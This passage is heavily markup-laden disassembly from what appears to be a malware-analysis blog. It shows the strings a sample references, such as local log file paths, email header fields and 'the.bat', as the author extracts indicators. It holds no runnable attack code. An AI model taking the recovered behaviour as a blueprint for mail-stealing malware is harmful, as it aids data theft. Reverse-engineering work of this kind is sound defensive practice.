&lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403865&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;a127_0_0_1&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "127.0.0.1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040386C&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403871&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aCBugs_txt&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "c:\\bugs.txt"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403878&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040387D&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aCLogevents_log&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "c:\\logEvents.log"&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;From here we get file names, hard coded IP's and domain names and URL's.  Further down we can see the following strings:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 0.5pt solid windowtext; padding: 1pt 4pt;"&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004039F1&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aBcc&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "Bcc:"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004039F8&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004039FD&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aSubject&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "Subject:"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;….&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404009&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aGoldCerts&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "gold-certs"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404010&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404015&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aThe_bat&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "the.bat"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040401C&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404021&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aPage&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "page"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404028&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040402D&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aAdmin&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "admin"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404034&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00404039&lt;span style=""&gt;                 &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: 